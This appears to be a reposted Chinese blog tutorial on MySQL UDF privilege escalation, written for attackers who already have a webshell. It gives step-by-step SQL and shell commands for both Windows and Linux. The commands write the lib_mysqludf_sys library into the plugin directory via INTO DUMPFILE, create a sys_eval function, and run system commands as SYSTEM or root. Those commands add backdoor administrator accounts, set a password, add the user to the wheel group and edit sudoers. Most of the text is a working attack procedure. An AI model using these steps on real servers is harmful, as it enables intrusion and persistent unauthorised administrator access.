mysql数据库提权之——UDF提权

介绍

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

原理

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数),要想利用udf,必须上传udf.dll作为udf的执行库,mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能

windows-mysql-udf提权

1.获取udf.dll
 将sqlmap\data\udf下的dll_文件,复制到sqlmap\extra\cloak,命令行输入cloak.py -d -i lib_mysqludf_sys.dll_即可得到

2.上传udf.dll
上传地址:
mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
寻找安装路径:

show variables like '%plugin%'  或  select @@basedir(该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可)


上传: 直接上传没有权限,可通过mysql语句写入
2.1以二进制读取udf.dll内容,并将结果转为十六进制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.dll")) into dumpfile'C:\\Users\\Administrator\\Desktop\\111.txt' ;


2.2菜刀的数据库管理处输入以下命令,文件即可上传

select unhex ('111') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";

111替换为刚刚的16进制字符串

3.利用udf.dll创建用户自定义函数
菜刀的数据库管理处输入输入以下命令(udf.dll处替换上传的dll文件名)

create function sys_eval returns string soname 'udf.dll'

4.执行系统命令
菜刀的数据库管理处输入以下命令,看到用户为system

select sys_eval("whoami")

5.之后创建新用户并加入管理员组即可

5.1菜刀的数据库管理处输入

select sys_eval("net user qq 123.com /add")

5.2再输入

select sys_eval("net localgroup administrators qq /add")

linux-mysql-udf提权

条件:my.ini配置错误,mysql以root权限运行
Linux的mysql默认是mysql用户 ,此处手动将mysql的用户修改为root用户

1.获取udf.dll
sqlmap\data\udf下的so_文件,复制到sqlmap\extra\cloak,命令行输入cloak.py -d -i lib_mysqludf_sys.so_即可得到

2.上传udf.dll
上传地址:
默然安装路径/usr/lib64/mysql/plugin/
寻找安装路径:
show variables like '%plugin%'  或  select @@basedir


上传:直接上传没有权限,可通过mysql命令
2.1以二进制读取so.dll内容,并将结果转为十六进制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.so")) into dumpfile'C:\\Users\\Administrator\\Desktop\\222.txt' ;


2.2菜刀的数据库管理处输入以下命令,111替换为刚刚的16进制字符串

select unhex ('111') into dumpfile '/usr/lib64/mysql/plugin/udf.so';

3.利用udf.dll创建用户自定义函数

菜刀的数据库管理处输入以下命令,udf.so处替换上传的so文件名

create function sys_eval returns string soname 'udf.so'

4.执行系统命令
菜刀的数据库管理处输以下命令,看到用户为root

select sys_eval("whoami")

5.之后创建一个xxx用户,修改密码,并添加到管理员组

5.1创建:

select sys_eval("useradd lp")


5.2修改密码:

select sys_eval("echo '123456' | passwd lp --stdin")


5.3添加到管理员组:

select sys_eval("gpasswd -a lp wheel")


5.4之后去掉etc/sudoers里105行的wheel前的#(可使用覆盖形式)即可

发布了55 篇原创文章 · 获赞 59 · 访问量 6977

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104802100